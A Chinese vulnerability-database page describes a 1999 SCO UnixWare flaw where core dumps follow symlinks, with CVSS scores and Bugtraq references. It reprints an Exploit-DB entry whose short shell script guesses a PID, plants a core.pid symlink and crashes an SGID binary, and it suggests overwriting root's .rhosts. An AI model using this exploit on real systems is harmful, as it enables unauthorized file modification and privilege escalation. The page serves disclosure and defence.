发布时间 :1999-12-03 00:00:00
修订时间 :2016-10-17 21:59:48

[原文]UnixWare programs that dump core allow a local user to modify files via a symlink attack on the ./ file.

[CNNVD]SCO UnixWare 'coredump' 符号链接漏洞(CNNVD-199912-024)


- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  19991215 Recent postings about SCO UnixWare 7
(UNKNOWN)  BUGTRAQ  19991220 SCO OpenServer Security Status
(UNKNOWN)  BUGTRAQ  19991223 FYI, SCO Security patches available.
(UNKNOWN)  BUGTRAQ  19991202 UnixWare coredumps follow symlinks

- 漏洞信息

SCO UnixWare 'coredump' 符号链接漏洞
高危 访问验证错误
1999-12-03 00:00:00 2005-05-02 00:00:00

- 公告与补丁

        There are patches available at the following location:
        Patch IDs:

- 漏洞信息 (19659)

SCO Unixware 7.0/7.0.1/7.1/7.1.1 'coredump' Symlink Vulnerability (EDBID:19659)
sco local
1999-12-03 Verified
0 Brock Tellier
N/A [点击下载]

Under certain versions of SCO UnixWare if a user can force a program with SGID (Set Group ID) to dump core they may launch a symlink attack by guessing the PID (Process ID) of the SGID process which they are calling. This is required because the coredump file will be dumped to the directory in which it is being executed from as './'. The program dumping core does not check for the existence of a symlinked file and will happily overwrite any file which it has permission to do so to. Many SGID binaries under Unixware are in the group 'sgid-sys' a group which has write permission to a large number of system critical files.

This attack will most likely result in a denial of service attack, however if the attacker can provide some provide data to the core file she may be able to leverage root access. For example is the intruder were able to get '+ +' into a line of it's own in the core file the intruder could then overwrite root's .rhosts file. 

# Exploit for UnixWare 7.1 - sgid coredumps follow symlinks.
# Guessing pid is trivial. Any sgid program which will coredump can be used
# -Brock Tellier,
pid=`expr $$ + 4`;
ln -s /path/to/sys/group/writable/file core.$pid
/usr/sbin/arp `perl -e "print 'A' x 10000"`


- 漏洞信息

SCO UnixWare Multiple Programs ./ Symlink Arbitrary File Modification
Local Access Required Race Condition
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

1999-12-02 Unknow
1999-12-02 Unknow

- 解决方案


Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete